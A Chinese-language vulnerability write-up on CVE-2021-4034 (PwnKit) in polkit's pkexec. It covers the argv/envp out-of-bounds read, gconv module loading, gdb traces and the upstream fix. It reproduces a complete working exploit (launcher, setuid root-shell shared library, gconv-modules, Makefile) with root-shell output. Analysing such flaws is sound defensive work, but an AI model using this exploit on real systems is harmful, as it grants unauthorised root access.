背景:

2021年11月29日,Qualys Security Advisory 组织发现并提交了针对于Linux Polkit 组件的提权漏洞CVE 2021-4034,覆盖广泛的Linux发行版本,如 :RedHat Entreprise Linux、Fedora、 Ubuntu ArchLinux、国内发行版本如:Kylin Linux、UOS Linux、Euler OS、Anolis OS、Circle Linux,影响范围涉及从2009年5月至2022年1月横跨10余年的全部发行版本。

影响范围:

2009年5月 pkexec (commit c8c3d83, "Add a pkexec(1)") 至

2022年1月25日 Upstream Coordinate Release

影响OS:

RedHat Entreprise Linux

Fedora

Ubuntu

ArchLinux

Kylin Linux

UOS Linux

Anolis OS

Euler OS

Circle Linux

分析:

Description:

A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

http://cve.mitre.org

CVE数据库官方对CVE的解释如上:

在polkit包中的pkexec可执行性程序存在本地提权漏洞,pkexec程序是一个suid程序,设计被用于在预先设计的规则下,使未授权用户像授权用户一样运行程序。当前版本的pkexec没有正确的处理调用参数数量,最终会导致(越界的)环境变量像命令一样执行。攻击者可以通过构造特定的环境变量跷动漏洞,导致环境变量代码执行。当执行成功时,攻击可导致目标机权限提升,使未授权用户获取非授权的执行权限。

现象:

[mm@localhost CVE-2021-4034-main]$ ./cve-2021-4034
sh-4.4# whoami
root
sh-4.4# 

原理解释:

pkexec是一个Linux C标准程序,其主函数原形如下所示:

int main (int argc, char *argv[], char* envp[])  

一般简写作如下两种变体:

int main (int argc, char *argv[])
int main (int argc, char **argv)

其中:argc变量存储环境变量个数,argv[]数组存储参数,envp[]数组存储环境变量信息,如:下代码所示:

#include <stdio.h>int main(int argc, char *argv[], char *envp[])
{printf("argc=%d\n", argc);return 100;
}|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|V         V                V           V         V                V"program" "-option"           NULL      "value" "PATH=name"          NULL

在Linux程序执行时kernel会将参数以及环境变量信息依次传递给主函数,但是并不会对argv[]和envp[]数组的边界进行限制检查,因而通过argv[]数组可以越界合理访问到envp[]中的数据。如下过程所示:

[mm@localhost gconv_test]$ gdb test_main
GNU gdb (GDB) Fedora 8.1-11.fc28
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from test_main...done.
(gdb) l
1   #include <stdio.h>
2
3
4   int main(int argc, char *argv[], char *envp[])
5   {
6       printf("argc=%d\n", argc);
7       return 100;
8   }
(gdb) b 6
Breakpoint 1 at 0x4004f9: file test_main.c, line 6.
(gdb) r
Starting program: /home/mm/gconv_test/test_main Breakpoint 1, main (argc=1, argv=0x7fffffffd708, envp=0x7fffffffd718) at test_main.c:6
6       printf("argc=%d\n", argc);
(gdb) p argv[0]
$1 = 0x7fffffffda52 "/home/mm/gconv_test/test_main"
(gdb) p argv[1]
$2 = 0x0
(gdb) p argv[2]
$3 = 0x7fffffffda76 "LS_COLORS=rs=0:di=38;5;33:ln=38;5;51:mh=00:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=01;05;37;41:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;19"...
(gdb) p argv[3]
$4 = 0x7fffffffe17f "XDG_MENU_PREFIX=gnome-"
(gdb) p argv[4]
$5 = 0x7fffffffe196 "MODULES_RUN_QUARANTINE=LD_LIBRARY_PATH"
(gdb) p argv[5]
$6 = 0x7fffffffe1bd "LANG=zh_CN.UTF-8"
(gdb) p argv[6]
$7 = 0x7fffffffe1ce "GDM_LANG=zh_CN.UTF-8"
(gdb) p argv[7]
$8 = 0x7fffffffe1e3 "HISTCONTROL=ignoredups"
(gdb) p envp[0]
$9 = 0x7fffffffda76 "LS_COLORS=rs=0:di=38;5;33:ln=38;5;51:mh=00:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=01;05;37;41:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;19"...
(gdb) p envp[1]
$10 = 0x7fffffffe17f "XDG_MENU_PREFIX=gnome-"
(gdb) p envp[2]
$11 = 0x7fffffffe196 "MODULES_RUN_QUARANTINE=LD_LIBRARY_PATH"
(gdb) p envp[3]
$12 = 0x7fffffffe1bd "LANG=zh_CN.UTF-8"
(gdb) p envp[4]
$13 = 0x7fffffffe1ce "GDM_LANG=zh_CN.UTF-8"
(gdb) |---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|V         V                V           V         V                V"program" "-option"           NULL      "value" "PATH=name"          NULL

可见当argc(参数=1)时,当argv[2]以后即可打印出环境变量信息并且argv[4]实际上已经访问到envp[2]的位置,指向的内容和地址均一致。

在pkexec.c的主函数中,n是以1为开始,后续的逻辑功能基本上是将所有的参数遍历出来,如果是以“/”开始则以绝对路径进行,如果不是以“/”开始,则通过g_find_program_in_path()将环境变量中的路径组装成绝对路径存储待用。n = 1开始,那么当出现传空参的时候,argv[1]实际上指向envp[0],此处会产生泄漏,也就是如果精心恶意的构造环境变量,可以导致环境变量作为攻击EXP执行。

为什么n会取值为1呢?个人觉得pkexec.c作者的理由也很充分:正常情况下一般不会出现传空参的情况,argv[0] 实际是/usr/bin/pkexec本身,自己遍历自己没有任何意义,因而从1开始遍历。而且从2009年5月第一个commit被提交到2021年11月的10余年时间里并没有出现任何安全事件发生,因而这段代码就一直沉淀直到2021年11月底被揭露。

//pkexec.c 关键源码435 main (int argc, char *argv[])436 {...534   for (n = 1; n < (guint) argc; n++)535     {...568     }...610   path = g_strdup (argv[n]);...629   if (path[0] != '/')630     {...632       s = g_find_program_in_path (path);...639       argv[n] = path = s;640     }

pkexec程序的另一个特点是反复调用glib中g_printerr()函数,打印提示和错误信息。

    629   if (path[0] != '/')630     {631       /* g_find_program_in_path() is not suspectible to attacks via the environment */632       s = g_find_program_in_path (path);633       if (s == NULL)634         {635           g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));636           goto out;637         }638       g_free (path);639       argv[n] = path = s;640     }641   if (access (path, F_OK) != 0)642     {643       g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));644       goto out;645     }

g_printerr() 是glib.h中的定义的函数广泛应用于终端运行程序中,用于打印错误信息,提示信息,包括usage信息。

static void
usage (int argc, char *argv[])
{g_printerr ("pkexec --version |\n""       --help |\n""       --disable-internal-agent |\n""       [--user username] [PROGRAM] [ARGUMENTS...]\n""\n""See the pkexec manual page for more details.\n""\n""Report bugs to: %s\n""%s home page: <%s>\n", PACKAGE_BUGREPORT, PACKAGE_NAME,PACKAGE_URL);
}

g_printerr() 有一个好处,可以根据系统的语言类、字符编码类环境变量,打印出所对应的特定语言包的信息。如:

[mm@localhost gconv_test]$ set | grep LANG
GDM_LANG=zh_CN.UTF-8
LANG=zh_CN.UTF-8[mm@localhost gconv_test]$ rpm -qp
rpm:未给出要查询的参数

同样它也存在漏洞:可以利用其在字符编码转换上的漏洞,进行库函数注入执行。

pwn.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void gconv(){}
void gconv_init(){printf("%s","this is my so run/n");
}[mm@localhost gconv_test]$gcc -Wall --shared -fPIC -o pwnkit.so pwn.c
-------------------------------------------------------------------------
test.c:#include <stdio.h>
#include <stdlib.h>#include <glib.h>
//include "/usr/include/glib-2.0/glib.h"int main(int argc, char *argv[]){g_printerr("this is gprint");return 0;
}[mm@localhost gconv_test]$gcc `pkg-config --cflags glib-2.0` test.c `pkg-config --libs glib-2.0`
-------------------------------------------------------------------------
gconv-modules:module UTF-8// PWNKIT// /home/mm/gconv_test/pwnkit 2
-------------------------------------------------------------------------
[mm@localhost gconv_test]$ export GCONV_PATH="/home/mm/gconv_test"
[mm@localhost gconv_test]$ export CHARSET=PWNKIT[mm@localhost gconv_test]$ ./a.out
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
this is gprintthis is my so run/n

其原理如下:

首先:

g_printerr()函数会调用 GNU C库中的iconv()函数,从GCONV_PATH环境变量中寻找gconv-modules配置文件,将一种定义的charset转换为另一种charset已达到在终端界面通过g_printerr()函数打印各国语言文字信息的功能。

fedora系统中的gconv-modules配置文件如下所示:

[root@localhost CVE-2021-4034-main]# rpm -qf /usr/lib64/gconv/gconv-modules
glibc-2.27-38.fc28.x86_64[root@localhost gconv]# pwd
/usr/lib64/gconv[root@localhost gconv]# ls
ANSI_X3.110.so  CP772.so            EBCDIC-IT.so         GREEK7-OLD.so   IBM1123.so  IBM1156.so   IBM275.so   IBM850.so     IBM875.so   IBM9448.so          ISO8859-10.so  KOI8-RU.so            PT154.so
ARMSCII-8.so    CP773.so            EBCDIC-PT.so         GREEK7.so       IBM1124.so  IBM1157.so   IBM277.so   IBM851.so     IBM880.so   IEC_P27-1.so        ISO8859-11.so  KOI-8.so              RK1048.so
ASMO_449.so     CP774.so            EBCDIC-UK.so         GREEK-CCITT.so  IBM1129.so  IBM1158.so   IBM278.so   IBM852.so     IBM891.so   INIS-8.so           ISO8859-13.so  KOI8-T.so             SAMI-WS2.so
BIG5HKSCS.so    CP775.so            EBCDIC-US.so         HP-GREEK8.so    IBM1130.so  IBM1160.so   IBM280.so   IBM855.so     IBM901.so   INIS-CYRILLIC.so    ISO8859-14.so  KOI8-U.so             SHIFT_JISX0213.so
BIG5.so         CP932.so            ECMA-CYRILLIC.so     HP-ROMAN8.so    IBM1132.so  IBM1161.so   IBM281.so   IBM856.so     IBM902.so   INIS.so             ISO8859-15.so  LATIN-GREEK-1.so      SJIS.so
BRF.so          CSN_369103.so       EUC-CN.so            HP-ROMAN9.so    IBM1133.so  IBM1162.so   IBM284.so   IBM857.so     IBM9030.so  ISIRI-3342.so       ISO8859-16.so  LATIN-GREEK.so        T.61.so
CP10007.so      CWI.so              EUC-JISX0213.so      HP-THAI8.so     IBM1137.so  IBM1163.so   IBM285.so   IBM858.so     IBM903.so   ISO_10367-BOX.so    ISO8859-1.so   libCNS.so             TCVN5712-1.so
CP1125.so       DEC-MCS.so          EUC-JP-MS.so         HP-TURKISH8.so  IBM1140.so  IBM1164.so   IBM290.so   IBM860.so     IBM904.so   ISO_11548-1.so      ISO8859-2.so   libGB.so              TIS-620.so
CP1250.so       EBCDIC-AT-DE-A.so   EUC-JP.so            IBM037.so       IBM1141.so  IBM1166.so   IBM297.so   IBM861.so     IBM905.so   ISO-2022-CN-EXT.so  ISO8859-3.so   libISOIR165.so        TSCII.so
CP1251.so       EBCDIC-AT-DE.so     EUC-KR.so            IBM038.so       IBM1142.so  IBM1167.so   IBM420.so   IBM862.so     IBM9066.so  ISO-2022-CN.so      ISO8859-4.so   libJIS.so             UHC.so
CP1252.so       EBCDIC-CA-FR.so     EUC-TW.so            IBM1004.so      IBM1143.so  IBM12712.so  IBM423.so   IBM863.so     IBM918.so   ISO-2022-JP-3.so    ISO8859-5.so   libJISX0213.so        UNICODE.so
CP1253.so       EBCDIC-DK-NO-A.so   GB18030.so           IBM1008_420.so  IBM1144.so  IBM1364.so   IBM424.so   IBM864.so     IBM921.so   ISO-2022-JP.so      ISO8859-6.so   libKSC.so             UTF-16.so
CP1254.so       EBCDIC-DK-NO.so     GBBIG5.so            IBM1008.so      IBM1145.so  IBM1371.so   IBM437.so   IBM865.so     IBM922.so   ISO-2022-KR.so      ISO8859-7.so   MAC-CENTRALEUROPE.so  UTF-32.so
CP1255.so       EBCDIC-ES-A.so      GBGBK.so             IBM1025.so      IBM1146.so  IBM1388.so   IBM4517.so  IBM866NAV.so  IBM930.so   ISO_2033.so         ISO8859-8.so   MACINTOSH.so          UTF-7.so
CP1256.so       EBCDIC-ES.so        GBK.so               IBM1026.so      IBM1147.so  IBM1390.so   IBM4899.so  IBM866.so     IBM932.so   ISO_5427-EXT.so     ISO8859-9E.so  MAC-IS.so             VISCII.so
CP1257.so       EBCDIC-ES-S.so      gconv-modules        IBM1046.so      IBM1148.so  IBM1399.so   IBM4909.so  IBM868.so     IBM933.so   ISO_5427.so         ISO8859-9.so   MAC-SAMI.so
CP1258.so       EBCDIC-FI-SE-A.so   gconv-modules.cache  IBM1047.so      IBM1149.so  IBM16804.so  IBM4971.so  IBM869.so     IBM935.so   ISO_5428.so         ISO-IR-197.so  MAC-UK.so
CP737.so        EBCDIC-FI-SE.so     GEORGIAN-ACADEMY.so  IBM1097.so      IBM1153.so  IBM256.so    IBM500.so   IBM870.so     IBM937.so   ISO646.so           ISO-IR-209.so  MIK.so
CP770.so        EBCDIC-FR.so        GEORGIAN-PS.so       IBM1112.so      IBM1154.so  IBM273.so    IBM5347.so  IBM871.so     IBM939.so   ISO_6937-2.so       JOHAB.so       NATS-DANO.so
CP771.so        EBCDIC-IS-FRISS.so  GOST_19768-74.so     IBM1122.so      IBM1155.so  IBM274.so    IBM803.so   IBM874.so     IBM943.so   ISO_6937.so         KOI8-R.so      NATS-SEFI.so/usr/lib64/gconv/gconv-modulesGNU libc iconv configuration.
# Copyright (C) 1997-2018 Free Software Foundation, Inc.
# This file is part of the GNU C Library.# The GNU C Library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.# The GNU C Library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.# You should have received a copy of the GNU Lesser General Public
# License along with the GNU C Library; if not, see
# <http://www.gnu.org/licenses/>.# All lines contain the following information:# If the lines start with `module'
#  fromset:     either a name triple or a regular expression triple.
#  toset:       a name triple or an expression with \N to get regular
#               expression matching results.
#  filename:    filename of the module implementing the transformation.
#               If it is not absolute the path is made absolute by prepending
#               the directory the configuration file is found in.
#  cost:        optional cost of the transformation.  Default is 1.# If the lines start with `alias'
#  alias:       alias name which is not really recognized.
#  name:        the real name of the character setalias   ISO-IR-4//              BS_4730//
alias   ISO646-GB//             BS_4730//
alias   GB//                    BS_4730//
alias   UK//                    BS_4730//
alias   CSISO4UNITEDKINGDOM//   BS_4730//
module  BS_4730//               INTERNAL                ISO646          2
module  INTERNAL                BS_4730//               ISO646          2alias   ISO-IR-121//            CSA_Z243.4-1985-1//
alias   ISO646-CA//             CSA_Z243.4-1985-1//
alias   CSA7-1//                CSA_Z243.4-1985-1//
alias   CA//                    CSA_Z243.4-1985-1//
alias   CSISO121CANADIAN1//     CSA_Z243.4-1985-1//
alias   CSA_Z243.419851//       CSA_Z243.4-1985-1//
module  CSA_Z243.4-1985-1//     INTERNAL                ISO646          2
module  INTERNAL                CSA_Z243.4-1985-1//     ISO646          2
......#       from                    to                      module          cost
alias   ISO2022CNEXT//          ISO-2022-CN-EXT//
module  ISO-2022-CN-EXT//       INTERNAL                ISO-2022-CN-EXT 1
module  INTERNAL                ISO-2022-CN-EXT//       ISO-2022-CN-EXT 1#       from                    to                      module          cost
alias   MAC//                   MACINTOSH//
alias   CSMACINTOSH//           MACINTOSH//
module  MACINTOSH//             INTERNAL                MACINTOSH       1
module  INTERNAL                MACINTOSH//             MACINTOSH       1#       from                    to                      module          cost
alias   ISO-IR-143//            IEC_P27-1//
alias   CSISO143IECP271//       IEC_P27-1//
alias   IEC_P271//              IEC_P27-1//
module  IEC_P27-1//             INTERNAL                IEC_P27-1       1
module  INTERNAL                IEC_P27-1//             IEC_P27-1       1#       from                    to                      module          cost
alias   ISO_9036//              ASMO_449//
alias   ARABIC7//               ASMO_449//
alias   ISO-IR-89//             ASMO_449//
alias   CSISO89ASMO449//        ASMO_449//
module  ASMO_449//              INTERNAL                ASMO_449        1
module  INTERNAL                ASMO_449//              ASMO_449        1

gconv-modules配置文件格式如下:

gconv-modules配置文件格式:转换的字符源字符集     转换的目标字符集      目标字符集库所在位置            转换开销
module UTF-8//              PWNKIT//            /home/mm/gconv_test/pwnkit     2

上述字符集转换的so库中的gconv_init()函数会在字符集转换过程中被执行,如下所示:

pwn.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void gconv(){}
void gconv_init(){printf("%s","this is my so run/n");
}[mm@localhost gconv_test]$gcc -Wall --shared -fPIC -o pwnkit.so pwn.c
-------------------------------------------------------------------------
test.c:#include <stdio.h>
#include <stdlib.h>#include <glib.h>
//include "/usr/include/glib-2.0/glib.h"int main(int argc, char *argv[]){g_printerr("this is gprint");return 0;
}[mm@localhost gconv_test]$gcc `pkg-config --cflags glib-2.0` test.c `pkg-config --libs glib-2.0`
-------------------------------------------------------------------------
gconv-modules:module UTF-8// PWNKIT// /home/mm/gconv_test/pwnkit 2
-------------------------------------------------------------------------
[mm@localhost gconv_test]$ export GCONV_PATH="/home/mm/gconv_test"
[mm@localhost gconv_test]$ export CHARSET=PWNKIT[mm@localhost gconv_test]$ ./a.out
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
this is gprintthis is my so run/n

因而对polkit pkexec越权可以总结为3点:

1.传个空参

2.构造一个合理的环境变量让其越权执行

3.构造一个CHARSET so库,让其可以通过pkexec的g_printerr()函数执行,其中so中包含越权执行的shell即可

构造的exp如下:

cve-2021-4034.c#include <unistd.h>int main(int argc, char **argv)
{char * const args[] = {NULL};char * const environ[] = {"pwnkit.so:.","PATH=GCONV_PATH=.","SHELL=/lol/i/do/not/exists","CHARSET=PWNKIT","GIO_USE_VFS=",NULL};return execve("/usr/bin/pkexec", args, environ);
}
-------------------------------------------------------------------------------
pwnkit.c#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void gconv(void) {
}void gconv_init(void *step)
{char * const args[] = { "/bin/sh", NULL };char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };setuid(0);setgid(0);execve(args[0], args, environ);exit(0);
}
---------------------------------------------------------------------------------
gconv-modulesmodule UTF-8// PWNKIT// pwnkit 1
---------------------------------------------------------------------------------
Makefile:
CFLAGS=-Wall
TRUE=$(shell which true).PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath.PHONY: clean
clean:rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./make -C dry-run cleangconv-modules:echo "module UTF-8// PWNKIT// pwnkit 1" > $@.PHONY: gconvpath
gconvpath:mkdir -p GCONV_PATH=.cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.pwnkit.so: pwnkit.c$(CC) $(CFLAGS) --shared -fPIC -o $@ $<.PHONY: dry-run
dry-run:make -C dry-run

上述exp来源于:

https://github.com/berdav/CVE-2021-4034

在fedora 28上的把比较重要的部分拿gdb调试一下:

[root@localhost programs]# pwd
/root/rpmbuild/BUILD/polkit-0.114/src/programs
[root@localhost programs]# ls
Makefile  Makefile.am  Makefile.in  pkaction  pkaction.c  pkaction-pkaction.o  pkcheck  pkcheck.c  pkcheck-pkcheck.o  pkexec  pkexec.c  pkexec-pkexec.o  pkttyagent  pkttyagent.c  pkttyagent-pkttyagent.o[root@localhost]# cat /etc/fedora-release
Fedora release 28 (Twenty Eight)
Breakpoint 1, main (argc=0, argv=0x7fff3e152198) at pkexec.c:436
436 {
(gdb) l
431
432
433
434 int
435 main (int argc, char *argv[])
436 {
437   guint n;
438   guint ret;
439   gint rc;
440   gboolean opt_show_help;
(gdb) n
455   const gchar *environment_variables_to_save[] = {
(gdb) p argc
$1 = 0
(gdb) p argv[1]
$2 = 0x7fff3e152f93 "pwnkit.so:."
(gdb) |---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|V         V                V           V         V                V"program" "-option"           NULL      "value" "PATH=name"          NULL[root@localhost CVE-2021-4034-main]# gdb cve-2021-4034
GNU gdb (GDB) Fedora 8.1-11.fc28
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from cve-2021-4034...done.
(gdb) b main
Breakpoint 1 at 0x4004f5: file cve-2021-4034.c, line 5.
(gdb) b pkexec.c:436
No source file named pkexec.c.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (pkexec.c:436) pending.
(gdb) info b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00000000004004f5 in main at cve-2021-4034.c:5
2       breakpoint     keep y   <PENDING>          pkexec.c:436
(gdb) r
Starting program: /home/mm/CVE-2021-4034-main/cve-2021-4034 Breakpoint 1, main (argc=1, argv=0x7fffffffd6d8) at cve-2021-4034.c:5
5       char * const args[] = {
(gdb) c
Continuing.
process 1789 is executing new program: /usr/bin/pkexec
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".Breakpoint 1, main (argc=0, argv=0x7fff423b36c8) at pkexec.c:436
436 {
(gdb) l
431
432 /* ---------------------------------------------------------------------------------------------------- */
433
434 int
435 main (int argc, char *argv[])
436 {
437   guint n;
438   guint ret;
439   gint rc;
440   gboolean opt_show_help;
(gdb) n
455   const gchar *environment_variables_to_save[] = {
(gdb) n
500   command_line = NULL;
(gdb) n
505   setenv ("GIO_USE_VFS", "local", 1);
(gdb) n
508   if (geteuid () != 0)
(gdb) n
514   original_user_name = g_strdup (g_get_user_name ());
(gdb) n
515   if (original_user_name == NULL)
(gdb) p original_user_name
$1 = (gchar *) 0x5581b0c4d740 "root"
(gdb) n
521   if ((original_cwd = g_get_current_dir ()) == NULL)
(gdb) n
584     opt_user = g_strdup ("root");
(gdb) n
589   rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
(gdb) n
590   if (rc == 0 && pw == NULL)
(gdb) n
609   g_assert (argv[argc] == NULL);
(gdb) n
610   path = g_strdup (argv[n]);
(gdb) n
611   if (path == NULL)
(gdb) n
........629   if (path[0] != '/')
(gdb) p path
$2 = (gchar *) 0x5581b0c4d830 "pwnkit.so:."
(gdb) p s
$3 = (gchar *) 0x5581b0c4d880 "GCONV_PATH=./pwnkit.so:."
(gdb) p argv[0]
$4 = 0x0
(gdb) p argv[1]
$5 = 0x5581b0c4d880 "GCONV_PATH=./pwnkit.so:."
(gdb) p command_line
$6 = (gchar *) 0x5581b0c49940 "GCONV_PATH=./pwnkit.so:. PATH=GCONV_PATH=. SHELL=/lol/i/do/not/exists CHARSET=PWNKIT GIO_USE_VFS=local"670        if (!validate_environment_variable (key, value))
(gdb) n
process 1789 is executing new program: /usr/bin/bash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?Breakpoint 1, 0x000055d120dcfd80 in main ()
Missing separate debuginfos, use: dnf debuginfo-install bash-4.4.19-2.fc28.x86_64
(gdb) n
Single stepping until exit from function main,
which has no line number information.
sh-4.4#

最终我们就靠pkexec这个SUID程序提权了,也就是CVE 2021-4034

[root@localhost bin]# pwd
/usr/bin[root@localhost bin]# ls -la |  wc -l
2286[root@localhost bin]# ls -la | grep rws
-rwsr-xr-x.  1 root root         55440 2月  25 2018 at
-rwsr-xr-x.  1 root root         82040 2月   6 2018 chage
-rwsr-xr-x.  1 root root         59752 2月   7 2018 crontab
-rwsr-xr-x.  1 root root         32848 2月   7 2018 fusermount
-rwsr-xr-x.  1 root root         33120 3月  21 2018 fusermount-glusterfs
-rwsr-xr-x.  1 root root         89296 2月   6 2018 gpasswd
-rwsr-xr-x.  1 root root         50304 3月  27 2018 mount
-rwsr-xr-x.  1 root root         44160 2月   6 2018 newgidmap
-rwsr-xr-x.  1 root root         49432 2月   6 2018 newgrp
-rwsr-xr-x.  1 root root         44168 2月   6 2018 newuidmap
-rwsr-xr-x.  1 root root         29008 4月  12 2018 passwd
-rwsr-xr-x.  1 root root         28128 3月  15 18:47 pkexec
-rwsr-xr-x.  1 root root         46328 3月  27 2018 su
-rwsr-xr-x.  1 root root         33136 3月  27 2018 umount[root@localhost bin]# ls -la | grep rws | wc -l
14

提权效果如下:

[mm@localhost CVE-2021-4034-main]$ ./cve-2021-4034
sh-4.4# whoami
root
sh-4.4# 

修复机理

其修复机理是很简单的,传空参会导致二进制利用,那么修复就是穿空参强退,然后后面判断一下。

a2bf5c9cpid_t pid_of_caller;gpointer local_agent_handle;//++++++++++++++++++++++++++++++++++++++/** If 'pkexec' is called THIS wrong, someone's probably evil-doing. Don't be nice, just bail out.*/if (argc<1){exit(127);}
//++++++++++++++++++++++++++++++++++++++ret = 127;authority = NULL;subject = NULL;path = g_strdup (pwstruct.pw_shell);if (!path){{g_printerr ("No shell configured or error retrieving pw_shell\n");goto out;}}/* If you change this, be sure to change the if (!command_line)case below too */command_line = g_strdup (path);goto out;}g_free (path);argv[n] = path = s;path = s;/* argc<2 and pkexec runs just shell, argv is guaranteed to be null-terminated.* /-less shell shouldn't happen, but let's be defensive and don't write to null-termination*/
//++++++++++++++++++++++++++++++++++++++if (argv[n] != NULL){argv[n] = path;}
//++++++++++++++++++++++++++++++++++++++}if (access (path, F_OK) != 0){

泱脏武器库之 CVE 2021-4034 Polkit 提权小结相关推荐

  1. cve -2016-6663 mysql 本地提权

    0x01 漏洞原文 翻译水平不高求轻喷 感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x04漏洞利用过程总结给出了清晰的漏洞利用过程,结合poc食用效果 ...

  2. DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权)

    编译好的EXP下载地址: https://github.com/Brucetg/DirtyCow-EXP 该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞 ...

  3. [VulnHub靶机]Lampiao_脏牛提权

    文章目录 环境介绍 实验步骤 1. 扫描端口 2. 信息收集 3. ssh爆破 4. drupal 7 漏洞getshell 5. 脏牛提权 环境介绍 攻击机:kali(192.168.56.104) ...

  4. Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案

    时间: 20220-1-25 事件: qualys 安全研究人员披露 CVE-2021-4034 polkit pkexec 本地提权漏洞细节. 漏洞描述: polkit pkexec 中对命令行参数 ...

  5. linux内核通用提权漏洞expliot 脏牛Dirty COW

    0x01 漏洞简介 Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射.一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可 ...

  6. 脏牛Linux本地提权漏洞复现(CVE-2016-5195、Linux、Android、提权)

    漏洞范围: Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复) 危害: 低权限用户利用该漏洞可以在众多Linux系统上实现本地提权 简要分析: 该漏洞 ...

  7. Linux脏牛漏洞提权复现

    操作系统: Linux ( CentOS 6.5) Web服务: PHP+Apache 环境搭建 第一步,配置yum源,安装PHP 进入yum目录 cd /etc/yum.repos.d/ 创建文件夹 ...

  8. Linux利用脏牛漏洞提权

    实验环境:Centos6.5.ssh 实验步骤: 一.搭建实验环境 1.利用ssh连接Centos进行远程操作,在Centos6.5上安装http和php,输入yum -y install httpd ...

  9. HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权

    题目网址: https://app.hackthebox.com/machines/MetaTwo 枚举 使用nmap枚举靶机 nmap -sC -sV -p- 10.10.11.186 扫到了域名, ...

  10. 永恒之蓝黑脏牛提权范围

    SMBv1协议 MS17-010 --永恒之蓝漏洞 影响范围:Windows Vista.Win7.Win8.Win XP.Windows server 2003等. 防范措施:及时更新Windows ...

最新文章

  1. pap和chap交叉认证
  2. java gps时间转换工具_java 时间戳和时间互转工具 和 时间偏移量计算
  3. 谷歌利用人工智能设计的芯片揭示了智能的本质
  4. [数据恢复答疑]有关还原精灵保护系统的数据恢复
  5. python教程1003python教程_哎哟喂啊
  6. [Jinkey 原创]震惊!iOS 系统居然自带悬浮窗口调试工具
  7. ASP.NET Core 源码学习之 Logging[3]:Logger
  8. linux将mysql中得配置为可读写_MySQL注入 利用系统读、写文件
  9. 内核抢占机制(preempt)
  10. python SQLite 初识
  11. linux 修改 bcast,Linux Ubuntu下IP的查看和修改
  12. 真人快打11服务器维修,玩家抱怨真人快打11微交易过多 官 方:后续会补偿
  13. KDGX-A光缆故障断点检测仪
